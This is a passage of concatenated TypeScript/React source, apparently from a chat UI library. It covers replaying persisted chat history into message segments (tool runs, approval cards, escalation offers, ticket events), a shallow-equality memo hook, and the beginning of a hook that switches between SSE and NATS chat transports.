is the whole reason a reloaded\n    // answer renders identically to the one the reader watched arrive.\n    case MESSAGE_TYPE.GUIDE:\n    case MESSAGE_TYPE.SOURCES:\n      return 'payload' in data ? sourceMetadataEvent(data.payload) : null;\n\n    // Same completeness gate as the live decoder (`decodeNatsChunk`): a\n    // persisted row without a question or without options is not a card the\n    // user can answer, so it replays as nothing rather than as empty chrome.\n    case MESSAGE_TYPE.ASK: {\n      if (!('question' in data)) return null;\n      const question = typeof data.question === 'string' ? data.question.trim() : '';\n      const options = normalizeAskOptions(data.options);\n      if (!question || options.length === 0) return null;\n      return {\n        type: 'ask',\n        ...(data.text ? { text: data.text } : {}),\n        question,\n        options,\n      };\n    }\n\n    case MESSAGE_TYPE.EXECUTING_TOOL:\n      if ('integratedToolType' in data) {\n        return {\n          type: 'tool-execution',\n          data: {\n            type: 'EXECUTING_TOOL',\n            integratedToolType: data.integratedToolType || '',\n            toolFunction: data.toolFunction || '',\n            toolTitle: typeof data.title === 'string' ? data.title : undefined,\n            // Same contract as the NATS decoder: the explanation line rides the\n            // EXECUTING chunk only, so a history replay that drops it renders\n            // an empty tool card even though the live stream showed one.\n            toolExplanation: typeof data.toolExplanation === 'string' ? data.toolExplanation : undefined,\n            parameters: data.parameters,\n            toolExecutionRequestId: data.toolExecutionRequestId,\n          },\n        };\n      }\n      return null;\n\n    case MESSAGE_TYPE.EXECUTED_TOOL:\n      if ('integratedToolType' in data) {\n        return {\n          type: 'tool-execution',\n          data: {\n            type: 'EXECUTED_TOOL',\n            integratedToolType: data.integratedToolType || '',\n            toolFunction: data.toolFunction || '',\n            toolTitle: typeof data.title === 'string' ? data.title : undefined,\n            parameters: data.parameters,\n            result: data.result,\n            success: data.success,\n            toolExecutionRequestId: data.toolExecutionRequestId,\n          },\n        };\n      }\n      return null;\n\n    case MESSAGE_TYPE.APPROVAL_REQUEST:\n      if ('approvalRequestId' in data && data.approvalRequestId) {\n        return {\n          type: 'approval-request',\n          requestId: data.approvalRequestId,\n          approvalType: data.approvalType || 'CLIENT',\n          command: data.command || '',\n          explanation: data.explanation,\n          ...(Array.isArray(data.toolCalls) ? { toolCalls: data.toolCalls } : {}),\n        };\n      }\n      return null;\n\n    case MESSAGE_TYPE.APPROVAL_RESULT:\n      if ('approvalRequestId' in data && data.approvalRequestId) {\n        return {\n          type: 'approval-resolved',\n          requestId: data.approvalRequestId,\n          status: data.approved ? 'approved' : 'rejected',\n          approvalType: data.approvalType,\n          resolvedByName: 'resolvedByName' in data ? data.resolvedByName : undefined,\n        };\n      }\n      return null;\n\n    case MESSAGE_TYPE.ESCALATION_OFFER: {\n      if (!('offerId' in data) || !data.offerId) return null;\n      if (data.state === ESCALATION_STATE.PENDING) {\n        return {\n          type: 'escalation-offer',\n          offerId: data.offerId,\n          text: data.text || '',\n          origin: data.origin,\n        };\n      }\n      const status = escalationResolvedStatus(data.state);\n      if (!status) return null;\n      return {\n        type: 'escalation-offer-resolved',\n        offerId: data.offerId,\n        status,\n        resolvedByName: data.resolvedByName,\n      };\n    }\n\n    case MESSAGE_TYPE.TICKET_ESCALATED:\n      if ('ticketId' in data && data.ticketId && data.reason) {\n        return {\n          type: 'ticket-escalated',\n          ticketId: data.ticketId,\n          reason: data.reason,\n          ticketNumber: data.ticketNumber,\n          text: data.text,\n        };\n      }\n      return null;\n\n    // Same completeness gate as the live decoder: `kind` (an OPEN string —\n    // unknown kinds render as a neutral line) is the only required field.\n    // Field names match the chunk, so ONE mapping covers both paths; the\n    // typeof gates also fold the row's GraphQL nulls to undefined.\n    case MESSAGE_TYPE.TICKET_EVENT: {\n      const kind = 'kind' in data && typeof data.kind === 'string' ? data.kind.trim() : '';\n      if (!kind) return null;\n      return {\n        type: 'ticket-event',\n        kind,\n        actorId: typeof data.actorId === 'string' ? data.actorId : undefined,\n        actorName: typeof data.actorName === 'string' ? data.actorName : undefined,\n        actorType: typeof data.actorType === 'string' ? data.actorType : undefined,\n        reason: typeof data.reason === 'string' && data.reason.trim() ? data.reason : undefined,\n        targetStatusKind:\n          typeof data.targetStatusKind === 'string' && data.targetStatusKind.trim() ? data.targetStatusKind : undefined,\n      };\n    }\n\n    case MESSAGE_TYPE.ERROR:\n      if ('error' in data) {\n        return {\n          type: 'error',\n          title: data.error || 'An error occurred',\n          details: 'details' in data ? data.details : undefined,\n        };\n      }\n      return null;\n\n    case MESSAGE_TYPE.CONTEXT_COMPACTION_START:\n      return { type: 'compaction', phase: 'start' };\n\n    case MESSAGE_TYPE.CONTEXT_COMPACTION_END:\n      return {\n        type: 'compaction',\n        phase: 'end',\n        summary: 'summary' in data && typeof data.summary === 'string' ? data.summary : undefined,\n      };\n\n    case MESSAGE_TYPE.SYSTEM:\n      if ('text' in data && data.text) {\n        return { type: 'participant', kind: 'system', text: data.text };\n      }\n      return null;\n\n    default:\n      // Unknown message type — ignore.\n      return null;\n  }\n}\n\n// =============================================================================\n// Replay — decoded event → per-turn kernel (history approval semantics)\n// =============================================================================\n\ntype EscalatedApprovals = Map<\n  string,\n  { command: string; explanation?: string; approvalType: string; toolCalls?: PendingToolCallData[] }\n>;\n\n/**\n * Terminal escalation-offer resolutions collected while walking history, so\n * they can be applied to ALREADY-FLUSHED bubbles after the walk. The offer\n * row and its resolution row are separated by the user message that caused\n * SUPERSEDED, which puts them in different assistant envelopes — by the time\n * the resolution is read, the accumulator holding the card has been reset.\n */\ntype OfferResolutions = Map<string, { status: ChatApprovalStatus; resolvedByName?: string | null }>;\n\n/**\n * Replay one decoded event into the shared per-turn segment kernel with the\n * HISTORY approval semantics (an omitted `displayApprovalTypes` means\n * \"display every approval type\" — the original history behavior; the\n * realtime reducer defaults to `['CLIENT']`).\n */\nfunction applyHistoryEvent(\n  event: ChatStreamEvent,\n  accumulator: MessageSegmentAccumulator,\n  approvalStatuses: Record<string, string>,\n  options: MessageProcessingOptions,\n  escalatedApprovals?: EscalatedApprovals,\n  offerResolutions?: OfferResolutions,\n  rowCreatedAt?: Date,\n  rowStreamSeq?: number,\n): void {\n  // batchApprovalsEnabled is owned by the consumer (oss-tenant chat client /\n  // openframe-frontend tickets). Defaults to ON so consumers that haven't\n  // wired the flag yet get the batch UI; pass `false` to force legacy.\n  const { displayApprovalTypes, batchApprovalsEnabled = true, escalationOfferStates } = options;\n\n  switch (event.type) {\n    case 'escalation-offer':\n      // Always a real segment, never the tracked/flushed treatment single\n      // approvals get: the offer belongs inline where it was posted.\n      accumulator.addEscalationOffer(\n        event.offerId,\n        event.text,\n        event.origin,\n        escalationOfferStates?.[event.offerId] ?? 'pending',\n      );\n      break;\n\n    case 'ticket-escalated':\n      accumulator.addTicketEscalated({\n        ticketId: event.ticketId,\n        ticketNumber: event.ticketNumber,\n        reason: event.reason,\n        text: event.text,\n      });\n      break;\n\n    // `rowStreamSeq` re-stamps the event's JetStream sequence (the persisted\n    // row's `lastChunkStreamSeq` - `messageData` itself does not carry it).\n    // The store's `ticket-event:<seq>` upsert key is the ONLY join between\n    // this hydrated segment and a catch-up/stale-consumer replay of the same\n    // chunk; a seq-less segment never joins, so the replayed copy rendered as\n    // a second identical card (the resolve/reopen duplication). The payload\n    // fallback in `addTicketEvent` cannot own that case: a COMPLETE hydrated\n    // tail seeds no accumulator, so the twins only ever meet in the store.\n    case 'ticket-event':\n      // `rowCreatedAt` is the persisted row's own time - without it the card\n      // renders the enclosing assistant bubble's timestamp, i.e. the FIRST\n      // row of the turn, and every lifecycle card reads the same stale time.\n      accumulator.addTicketEvent(\n        {\n          kind: event.kind,\n          actorId: event.actorId,\n          actorName: event.actorName,\n          actorType: event.actorType,\n          reason: event.reason,\n          targetStatusKind: event.targetStatusKind,\n        },\n        rowStreamSeq,\n        rowCreatedAt,\n      );\n      break;\n\n    case 'escalation-offer-resolved':\n      // Recorded, not applied here: `applyOfferResolutions` runs after every\n      // flush and covers the same-bubble case as well as the cross-bubble one.\n      offerResolutions?.set(event.offerId, {\n        status: event.status,\n        resolvedByName: event.resolvedByName,\n      });\n      break;\n\n    case 'text-delta':\n      accumulator.appendText(event.text);\n      break;\n\n    case 'thinking-delta':\n      accumulator.appendThinking(event.text);\n      break;\n\n    // Mirror of the live path: the intro sentence replays as answer text in\n    // front of the card, so a reloaded thread reads exactly like the stream did.\n    case 'ask':\n      if (event.text) accumulator.appendText(event.text);\n      accumulator.addAsk(event.question, event.options);\n      break;\n\n    case 'tool-execution':\n      accumulator.addToolExecution({ type: 'tool_execution', data: event.data });\n      break;\n\n    case 'approval-request': {\n      const approvalType = event.approvalType || 'CLIENT';\n      const toolCalls = event.toolCalls;\n      const isBatch = !!toolCalls && toolCalls.length > 0;\n      // Same rule the live kernels use — a card must not change where it\n      // renders just because the page was reloaded and it came back through\n      // history instead of the stream.\n      if (approvalDisplaysInline(approvalType, displayApprovalTypes)) {\n        if (isBatch) {\n          const status = (approvalStatuses[event.requestId] as ChatApprovalStatus) || 'pending';\n          if (batchApprovalsEnabled) {\n            accumulator.addApprovalBatch(event.requestId, approvalType, toolCalls, status, undefined, undefined);\n          } else {\n            // Flag OFF — unfold batch into N legacy approval cards (same id).\n            for (const call of toolCalls) {\n              if (!call.requiresApproval) continue;\n              accumulator.addApprovalRequest(\n                event.requestId,\n                getCommandText(call),\n                call.toolExplanation,\n                approvalType,\n                status,\n                undefined,\n              );\n            }\n          }\n        } else {\n          // The resolution may already be known to the consumer (realtime\n          // flipped it and fed it back via `approvalStatuses`) while the\n          // matching APPROVAL_RESULT row is absent from the fetched history\n          // pages. Without this, the single-approval path tracks it as\n          // pending and `flushPendingApprovals()` resurrects it as a stale\n          // sticky card on every history re-process. Mirror the batch path\n          // and honor `approvalStatuses`.\n          const resolvedStatus = approvalStatuses[event.requestId] as ChatApprovalStatus | undefined;\n          const isResolved = resolvedStatus === 'approved' || resolvedStatus === 'rejected';\n          if (isResolved) {\n            accumulator.addApprovalRequest(\n              event.requestId,\n              event.command || '',\n              event.explanation,\n              approvalType,\n              resolvedStatus ?? 'pending',\n              event.fields,\n            );\n          } else {\n            accumulator.trackApprovalRequest(event.requestId, {\n              command: event.command || '',\n              explanation: event.explanation,\n              approvalType,\n              fields: event.fields,\n            });\n          }\n        }\n      } else {\n        escalatedApprovals?.set(event.requestId, {\n          command: event.command || '',\n          explanation: event.explanation,\n          approvalType,\n          ...(isBatch ? { toolCalls } : {}),\n        });\n      }\n      break;\n    }\n\n    case 'approval-resolved': {\n      const requestId = event.requestId;\n      if (!requestId) break;\n      const existingStatus = approvalStatuses[requestId] as ChatApprovalStatus | undefined;\n      const status: ChatApprovalStatus = existingStatus || event.status;\n      const resolvedByName = event.resolvedByName;\n      const escalatedData = escalatedApprovals?.get(requestId);\n\n      if (escalatedData?.toolCalls && escalatedData.toolCalls.length > 0) {\n        if (batchApprovalsEnabled) {\n          accumulator.addApprovalBatch(\n            requestId,\n            escalatedData.approvalType,\n            escalatedData.toolCalls,\n            status,\n            undefined,\n            resolvedByName,\n          );\n        } else {\n          for (const call of escalatedData.toolCalls) {\n            if (!call.requiresApproval) continue;\n            accumulator.addApprovalRequest(\n              requestId,\n              getCommandText(call),\n              call.toolExplanation,\n              escalatedData.approvalType,\n              status,\n            );\n          }\n        }\n        escalatedApprovals?.delete(requestId);\n        break;\n      }\n\n      if (escalatedData) {\n        accumulator.trackApprovalRequest(requestId, {\n          command: escalatedData.command,\n          explanation: escalatedData.explanation,\n          approvalType: escalatedData.approvalType,\n        });\n        escalatedApprovals?.delete(requestId);\n      }\n\n      // If a segment with this id is already present (batch or legacy), just\n      // flip its status. updateApprovalStatus matches both `approval_batch`\n      // and `approval_request` segments.\n      const before = accumulator.getSegments();\n      const after = accumulator.updateApprovalStatus(requestId, status, resolvedByName);\n      const updatedExisting = before.some((s, i) => after[i] !== s);\n      if (updatedExisting) break;\n\n      accumulator.processApprovalResult(requestId, status === 'approved', event.approvalType || 'USER');\n      break;\n    }\n\n    case 'error': {\n      // Shared with the live path in `chat-stream-reducer` — one decoder so a\n      // card cannot read one way live and another on refresh.\n      accumulator.addError(event.title, errorDetailsMessage(event.details));\n      break;\n    }\n\n    case 'compaction':\n      if (event.phase === 'start') {\n        accumulator.addContextCompaction();\n      } else {\n        accumulator.completeContextCompaction(event.summary);\n      }\n      break;\n\n    default:\n      // Participant/system rows are envelope concerns; everything else is\n      // realtime-only vocabulary that never appears in persisted rows.\n      break;\n  }\n}\n\n// =============================================================================\n// Envelope — ONE implementation (previous duplicate deleted)\n// =============================================================================\n\n/**\n * Result type for historical message processing\n */\nexport interface ProcessHistoricalMessagesResult {\n  messages: ProcessedMessage[];\n  escalatedApprovals: EscalatedApprovals;\n}\n\n/**\n * Process an array of historical messages into display-ready format\n */\nexport function processHistoricalMessages(\n  messages: HistoricalMessage[],\n  options: MessageProcessingOptions = {},\n): ProcessHistoricalMessagesResult {\n  const {\n    assistantName = 'Fae',\n    assistantType = 'fae',\n    assistantAvatar,\n    onApprove,\n    onReject,\n    chatTypeFilter,\n    approvalStatuses = {},\n    // An omitted option means \"display every approval type\" — the original\n    // history semantics. Deliberately NOT defaulted to the realtime\n    // reducer's ['CLIENT']: consumers that pass a wider list to their\n    // realtime path but omit it on the history path would silently lose\n    // pending non-CLIENT approval cards on every reload/reconnect refetch\n    // (they also ignore `escalatedApprovals`). Realtime/history parity is\n    // opt-in: pass the same explicit list to both.\n    displayApprovalTypes,\n    batchApprovalsEnabled,\n    escalationOfferStates,\n    onEscalationApprove,\n    onEscalationReject,\n  } = options;\n\n  const processedMessages: ProcessedMessage[] = [];\n  const accumulator = createMessageSegmentAccumulator({\n    onApprove,\n    onReject,\n    onEscalationApprove,\n    onEscalationReject,\n  });\n  const escalatedApprovals: EscalatedApprovals = new Map();\n  const offerResolutions: OfferResolutions = new Map();\n\n  let currentAssistantId: string | null = null;\n  let currentAssistantTimestamp: Date | null = null;\n  let lastAssistantId: string | null = null;\n  // MAX persisted seq across the rows grouped into the current assistant turn\n  // — carried onto the flushed message's streamSeq for per-role merge coverage.\n  let currentAssistantStreamSeq: number | undefined;\n  // Source metadata for the current assistant turn. It is persisted as its OWN\n  // row (the backend saves it when the remote tool returns, before the answer\n  // text exists), so it arrives as a separate history message that groups into\n  // the same turn — and has to be carried across the group rather than applied\n  // where it was read.\n  let currentAssistantSourceMetadata: SourceMetadata | null = null;\n\n  /**\n   * Flush the current assistant message to processedMessages.\n   * Uses the LAST message ID in the group for stable React keys across page boundaries.\n   */\n  const flushAssistantMessage = () => {\n    const idToUse = lastAssistantId || currentAssistantId;\n    if (idToUse && accumulator.hasContent()) {\n      processedMessages.push({\n        id: idToUse,\n        role: 'assistant',\n        content: accumulator.getSegments(),\n        name: assistantName,\n        assistantType,\n        authorType: assistantType,\n        timestamp: currentAssistantTimestamp || new Date(),\n        avatar: assistantAvatar,\n        ...(currentAssistantStreamSeq !== undefined ? { streamSeq: currentAssistantStreamSeq } : {}),\n        ...(currentAssistantSourceMetadata ?? {}),\n      });\n      accumulator.resetSegments();\n    }\n    // Reset grouping identity + seq UNCONDITIONALLY — even on an EMPTY flush (an\n    // assistant turn whose only data was a filtered/escalated approval renders\n    // nothing, so `hasContent()` is false and nothing is pushed). Left inside\n    // the push-block, a stale id/timestamp and (worse) a stale\n    // `currentAssistantStreamSeq` bleed into the NEXT assistant turn: `!currentAssistantId`\n    // stays false so it keeps the old id/timestamp, and `Math.max` inflates its\n    // streamSeq — which then over-covers synthetics in the history merge.\n    currentAssistantId = null;\n    currentAssistantTimestamp = null;\n    lastAssistantId = null;\n    currentAssistantStreamSeq = undefined;\n    // Reset UNCONDITIONALLY, for the same reason the seq above is: a turn whose\n    // only row was metadata renders nothing, and leaving it set would stamp the\n    // NEXT answer with citations that belong to this one.\n    currentAssistantSourceMetadata = null;\n  };\n\n  messages.forEach((msg, index) => {\n    // Filter by chat type if specified\n    if (chatTypeFilter && msg.chatType !== chatTypeFilter) return;\n\n    const messageDataArray = Array.isArray(msg.messageData)\n      ? msg.messageData\n      : msg.messageData\n        ? [msg.messageData]\n        : [];\n\n    const hasStandaloneData = messageDataArray.some(data => data.type === MESSAGE_TYPE.SYSTEM);\n    if (hasStandaloneData) {\n      flushAssistantMessage();\n      pushStandaloneMessages(processedMessages, msg, messageDataArray);\n      return;\n    }\n\n    const isUserMessage = msg.owner?.type === OWNER_TYPE.CLIENT || msg.owner?.type === OWNER_TYPE.ADMIN;\n\n    if (isUserMessage) {\n      flushAssistantMessage();\n\n      const userAuthorType: AuthorType = msg.owner?.type === OWNER_TYPE.ADMIN ? 'admin' : 'user';\n      messageDataArray.forEach(data => {\n        if (data.type === MESSAGE_TYPE.TEXT && 'text' in data && data.text) {\n          // `TextData.contextItems` (server: `[{ type, id }]`) — the entity\n          // context the user attached to this message. Surface it so the bubble\n          // renders its chip strip from history (no label on the wire → fall\n          // back to the id, matching the realtime path).\n          const rawContext = (data as { contextItems?: Array<{ type?: unknown; id?: unknown }> }).contextItems;\n          const contextItems = Array.isArray(rawContext)\n            ? rawContext\n                .filter(c => typeof c?.type === 'string' && typeof c?.id === 'string')\n                .map(c => ({ type: c.type as string, id: c.id as string, label: c.id as string }))\n            : undefined;\n          processedMessages.push({\n            id: msg.id,\n            role: 'user',\n            content: data.text,\n            name: getOwnerDisplayName(msg.owner),\n            avatar: getOwnerAvatar(msg.owner),\n            authorType: userAuthorType,\n            timestamp: new Date(msg.createdAt),\n            ...(contextItems && contextItems.length > 0 ? { contextItems } : {}),\n            ...(typeof msg.lastChunkStreamSeq === 'number' ? { streamSeq: msg.lastChunkStreamSeq } : {}),\n          });\n        }\n      });\n    } else {\n      if (!currentAssistantId) {\n        currentAssistantId = msg.id;\n        currentAssistantTimestamp = new Date(msg.createdAt);\n      }\n      lastAssistantId = msg.id;\n      if (typeof msg.lastChunkStreamSeq === 'number') {\n        currentAssistantStreamSeq =\n          currentAssistantStreamSeq === undefined\n            ? msg.lastChunkStreamSeq\n            : Math.max(currentAssistantStreamSeq, msg.lastChunkStreamSeq);\n      }\n\n      messageDataArray.forEach(data => {\n        const event = decodeHistoricalMessageData(data);\n        if (!event) return;\n        // Metadata is a property OF the turn, not a segment in it — it never\n        // reaches the accumulator, which would have nothing to do with it.\n        if (event.type === 'sources') {\n          currentAssistantSourceMetadata = mergeSourceMetadata(currentAssistantSourceMetadata, event);\n          return;\n        }\n        applyHistoryEvent(\n          event,\n          accumulator,\n          approvalStatuses,\n          { displayApprovalTypes, batchApprovalsEnabled, escalationOfferStates },\n          escalatedApprovals,\n          offerResolutions,\n          new Date(msg.createdAt),\n          // TICKET_EVENT chunks are standalone, one per row, so the row seq IS\n          // the event seq - but vouch for that only when the row holds exactly\n          // one entry: a bundled row's `lastChunkStreamSeq` belongs to its LAST\n          // chunk and could stamp the wrong event.\n          messageDataArray.length === 1 && typeof msg.lastChunkStreamSeq === 'number'\n            ? msg.lastChunkStreamSeq\n            : undefined,\n        );\n      });\n\n      // Check if we should flush (next message is from user or last message)\n      const nextMsg = messages[index + 1];\n      const isLastMessage = index === messages.length - 1;\n      const nextIsFromUser =\n        nextMsg && (nextMsg.owner?.type === OWNER_TYPE.CLIENT || nextMsg.owner?.type === OWNER_TYPE.ADMIN);\n\n      if (isLastMessage || nextIsFromUser) {\n        flushAssistantMessage();\n      }\n    }\n  });\n\n  flushAssistantMessage();\n\n  const pendingApprovalSegments = accumulator.flushPendingApprovals();\n  if (pendingApprovalSegments.length > 0) {\n    processedMessages.push({\n      id: `pending-approvals-${Date.now()}`,\n      role: 'assistant',\n      content: pendingApprovalSegments,\n      name: assistantName,\n      assistantType,\n      timestamp: new Date(),\n      avatar: assistantAvatar,\n    });\n  }\n\n  const resolvedMessages = applyOfferResolutions(processedMessages, offerResolutions);\n\n  return {\n    messages: resolvedMessages,\n    escalatedApprovals: escalatedApprovals,\n  };\n}\n\n/**\n * Flip escalation-offer cards that were flushed into an EARLIER bubble than\n * their resolution row. Returns a new list (unchanged bubbles keep their\n * identity, so the array is only rebuilt when something actually flipped).\n * Uses the same `applyApprovalStatusToSegment` rule as the live projection so\n * the two paths cannot drift.\n */\nfunction applyOfferResolutions(\n  processedMessages: ProcessedMessage[],\n  offerResolutions: OfferResolutions,\n): ProcessedMessage[] {\n  if (offerResolutions.size === 0) return processedMessages;\n\n  return processedMessages.map(msg => {\n    if (!Array.isArray(msg.content)) return msg;\n    let changed = false;\n    const content = msg.content.map(segment => {\n      if (segment.type !== 'escalation_offer') return segment;\n      const resolution = offerResolutions.get(segment.data.offerId);\n      if (!resolution) return segment;\n      const next = applyApprovalStatusToSegment(\n        segment,\n        segment.data.offerId,\n        resolution.status,\n        resolution.resolvedByName,\n      );\n      if (next !== segment) changed = true;\n      return next;\n    });\n    return changed ? { ...msg, content } : msg;\n  });\n}\n\n/**\n * Extract error messages from historical messages\n * Returns a separate array of error messages that should be displayed\n */\nexport function extractErrorMessages(\n  messages: HistoricalMessage[],\n  options: MessageProcessingOptions = {},\n): ProcessedMessage[] {\n  const { assistantName = 'Fae', assistantType = 'fae', assistantAvatar, chatTypeFilter } = options;\n\n  const errorMessages: ProcessedMessage[] = [];\n\n  messages.forEach(msg => {\n    if (chatTypeFilter && msg.chatType !== chatTypeFilter) return;\n\n    const messageDataArray = Array.isArray(msg.messageData)\n      ? msg.messageData\n      : msg.messageData\n        ? [msg.messageData]\n        : [];\n\n    messageDataArray.forEach(data => {\n      if (data.type === MESSAGE_TYPE.ERROR) {\n        errorMessages.push({\n          id: `${msg.id}-error`,\n          role: 'error',\n          content: 'error' in data && data.error ? data.error : 'An error occurred',\n          name: assistantName,\n          assistantType,\n          timestamp: new Date(msg.createdAt),\n          avatar: assistantAvatar,\n        });\n      }\n    });\n  });\n\n  return errorMessages;\n}\n\n/**\n * Process messages and include error messages in the correct order.\n *\n * HISTORICAL ALIAS: this was a byte-identical second copy of\n * `processHistoricalMessages` (both goldens snapshot identical output on the\n * same corpus). The duplicate envelope was deleted in Phase 3 — kept as an\n * alias for the established import sites.\n */\nexport const processHistoricalMessagesWithErrors = processHistoricalMessages;\n","'use client';\n\n/**\n * useStableShallow — keep the PREVIOUS reference for a value whose contents did\n * not change, so an inline object literal from a host can be used as a\n * dependency without invalidating everything downstream of it on every render.\n *\n * Hosts write props inline (`mingoDialogCapabilities={{ canRename: true, … }}`),\n * which is a fresh object each render. Feed one into a `useMemo` dependency and\n * that memo — and anything memoized on its result — recomputes forever. This\n * latches the reference and only swaps it when a shallow comparison of the\n * OWN enumerable keys actually differs.\n *\n * Shallow by design: the values inside are compared with `Object.is`, so a host\n * whose callbacks are themselves recreated each render still churns. That is\n * the host's own instability, visible to it, and not something this hook can or\n * should paper over by comparing more deeply.\n */\n\nimport { useState } from 'react';\n\nfunction shallowEqual(a: object, b: object): boolean {\n  const aKeys = Object.keys(a);\n  if (aKeys.length !== Object.keys(b).length) return false;\n  const aRec = a as Record<string, unknown>;\n  const bRec = b as Record<string, unknown>;\n  // `in` rather than `b[key] !== undefined`, so an explicitly-undefined key on\n  // one side and a missing key on the other are correctly NOT equal.\n  return aKeys.every(key => key in b && Object.is(aRec[key], bRec[key]));\n}\n\n// `object`, not `Record<string, unknown>`: an interface without an index\n// signature (every capability/props type in this codebase) is not assignable to\n// the latter, which would make the hook unusable for exactly its intended\n// callers.\nexport function useStableShallow<T extends object | undefined>(value: T): T {\n  // Adjusting state during render — the documented React pattern for deriving\n  // from a prop — guarded so the extra pass takes the early exit. A ref written\n  // during render would be unsafe under concurrent rendering.\n  const [cached, setCached] = useState<T>(value);\n  const same = cached === value || (cached !== undefined && value !== undefined && shallowEqual(cached, value));\n  if (!same) setCached(value);\n  // The pass that stores `value` also returns it, so callers never see a stale\n  // object for a render.\n  return same ? cached : value;\n}\n","'use client';\n\n/**\n * useUnifiedChat — the single public entry point for the unified chat\n * surface. Dispatches between the SSE/Guide and NATS/Mingo transport\n * adapters based on the active mode. Always calls both underlying\n * hooks (React rules of hooks) but only one is \"live\": the inactive\n * one stays idle (no streams, no subscriptions) while preserving its\n * local message buffer so a mode-flip restores the user to exactly\n * where they left off.\n *\n * Consumers that only need one mode pass a single `modes` entry —\n * the inactive adapter's config slot stays empty and the hook\n * supplies a no-op default so React-hooks-rules are satisfied\n * without forcing consumers to write throwaway stubs.\n *\n * The mode-toggle UI affordance lives in the `<MingoChat>` shell that\n * consumes this hook, NOT here. This module is pure state plumbing.\n */\n\nimport { useCallback, useEffect, useMemo, useRef, useState } from 'react';\nimport { EMPTY_DIALOG_CAPABILITIES } from '../types/unified-chat-state.types';\nimport type { ChatDialogCapabilities, UnifiedChatState } from '../types/unified-chat-state.types';\nimport { useNatsChatAdapter, type UseNatsChatAdapterConfig } from './use-nats-chat-adapter';\nimport { useSseChatAdapter, type UseSseChatAdapterOptions } from './use-sse-chat-adapter';\nimport { useStableShallow } from './use-stable-shallow';\n\n// =============================================================================\n// Modes\n// =============================================================================\n\n/** Discriminator for the active transport mode. */\nexport type ChatMode = 'guide' | 'mingo';\n\n/**\n * Per-mode configuration. Each slot is optional — consumers that only\n * need one mode leave the other undefined. The active mode MUST have\n * its config populated; passing `activeMode: 'mingo'` while `modes.mingo`\n * is undefined is a programming error and surfaces as a thrown\n * `sendMessage`.\n */\nexport interface UseUnifiedChatModes {\n  /**\n   * Guide mode (SSE → hub). Currently `useSseChatAdapter` reads its\n   * config from the ambient `ChatRuntimeContext` rather than props,\n   * so this slot is just an opt-in flag plus its adapter options.\n   * The presence of the key signals \"guide mode is configured\".\n   */\n  guide?: UseSseChatAdapterOptions;\n\n  /**\n   * Mingo mode (NATS → openframe). All wiring is explicit: dialog id,\n   * NATS URL builder, publish callback, optional catchup fetcher.\n   * See `UseNatsChatAdapterConfig` for the field-by-field contract.\n   */\n  mingo?: UseNatsChatAdapterConfig;\n}\n\nexport interface UseUnifiedChatOptions {\n  modes: UseUnifiedChatModes;\n  activeMode: ChatMode;\n\n  /**\n   * Pre-built Mingo-mode state, supplied by the host instead of letting\n   * the internal `useNatsChatAdapter` own it. When provided AND the active\n   * mode is `'mingo'`, this object is used verbatim as the active state and\n   * the internal NATS adapter stays idle (the host should also omit\n   * `modes.mingo` so no live subscription is opened here).\n   *\n   * This is the seam that lets a host keep chat data/streaming in its own\n   * store + cache (so it survives the panel unmounting) rather than in this\n   * hook's local React state. Guide mode is unaffected.\n   */\n  mingoStateOverride?: UnifiedChatState;\n\n  /**\n   * Conversation-list capabilities for a `mingoStateOverride`. A host that\n   * builds the whole state in its own store has no adapter to report them, so\n   * it declares them alongside the state it injects.\n   *\n   * Supplying the override AT ALL declares that its panel owns a conversation\n   * list — an override with no capabilities still resolves to an empty object,\n   * never `undefined`, so such a host keeps its list surface exactly as before.\n   * Ignored unless the override is the active state.\n   */\n  injectedDialogCapabilities?: ChatDialogCapabilities;\n}\n\n// =============================================================================\n// Defaults — fill the inactive slot so both hooks run safely\n// =============================================================================\n\nconst EMPTY_SSE_OPTIONS: UseSseChatAdapterOptions = {};\n\nfunction createDisabledNatsConfig(): UseNatsChatAdapterConfig {\n  return {\n    dialogId: null,\n    getNatsWsUrl: () => null,\n    publishUserMessage: () => {\n      throw new Error(\n        '[useUnifiedChat] publishUserMessage invoked but mingo mode is not configured. ' +\n          'Pass `modes.mingo` to enable Mingo agent transport.',\n      );\n    },\n  };\n}\n\n// =============================================================================\n// Hook\n// =============================================================================\n\nexport function useUnifiedChat(options: UseUnifiedChatOptions): UnifiedChatState {\n  const { modes, activeMode, mingoStateOverride, injectedDialogCapabilities } = options;\n\n  // The mingo config object identity matters — `useNatsChatAdapter`\n  // wires its `dialogId`/url/publish into deps. Stabilise the disabled\n  // fallback so a guide-only consumer doesn't churn NATS hook state\n  // every render.\n  // Built once by `useState`'s lazy initialiser — that is exactly the\n  // create-on-first-render shape, without a ref filled during render.\n  const [disabledNatsConfig] = useState<UseNatsChatAdapterConfig>(createDisabledNatsConfig);\n\n  // Each adapter receives the user's config OR the disabled fallback,\n  // plus an `active` flag that gates its live network work. Both\n  // hooks are always called — only one is doing real work.\n  const sseActive = activeMode === 'guide' && modes.guide !== undefined;\n  const natsActive = activeMode === 'mingo' && modes.mingo !== undefined;\n\n  const sseState = useSseChatAdapter(modes.guide ?? EMPTY_SSE_OPTIONS, {\n    active: sseActive,\n  });\n  const natsState = useNatsChatAdapter(modes.mingo ?? disabledNatsConfig, { active: natsActive });\n\n  // Host-injected Mingo state wins when present: the internal `natsState`\n  // still runs (rules of hooks) but is idle (no `modes.mingo` → not active),\n  // and we hand the host's store-backed state straight through as active.\n  const activeState = activeMode === 'guide' ? sseState : (mingoStateOverride ?? natsState);\n  // The ONE place the injected state's capabilities are defaulted, because this\n  // is the ONE place that decides which state won. `EmbeddableChat` therefore\n  // reads a single resolved `dialogCapabilities` and never re-derives it from\n  // the mode.\n  const activeStateIsInjected = activeState === mingoStateOverride;\n  // Latched: hosts write the companion prop inline, and a fresh object each\n  // render would invalidate the state memo below (and every memo a consumer\n  // hangs off its identity) forever.\n  const stableInjected = useStableShallow(injectedDialogCapabilities);\n  const dialogCapabilities = activeStateIsInjected\n    ? (activeState.dialogCapabilities ?? stableInjected ?? EMPTY_DIALOG_CAPABILITIES)\n    : activeState.dialogCapabilities;\n\n  // Live ref to the active state. The injected `mingoState` (and the SSE/NATS\n  // adapters) hand back a NEW state object on EVERY streaming chunk\n  // (`messages`/`streamingPhase`/`tokenUsage` change), so binding the forwards\n  // below to `[activeState]` would recreate them each chunk. That churn\n  // cascades into consumers' memo deps — most visibly `renderEntityCard` in\n  // `embeddable-chat`, whose new identity defeats `ChatMessageEnhanced`'s memo\n  // and re-renders (re-mounts inline cards on) every message each chunk.\n  // Reading through the ref keeps the forwards referentially STABLE while\n  // still calling the latest active state. Republished in an unconditional\n  // effect rather than in the render body: 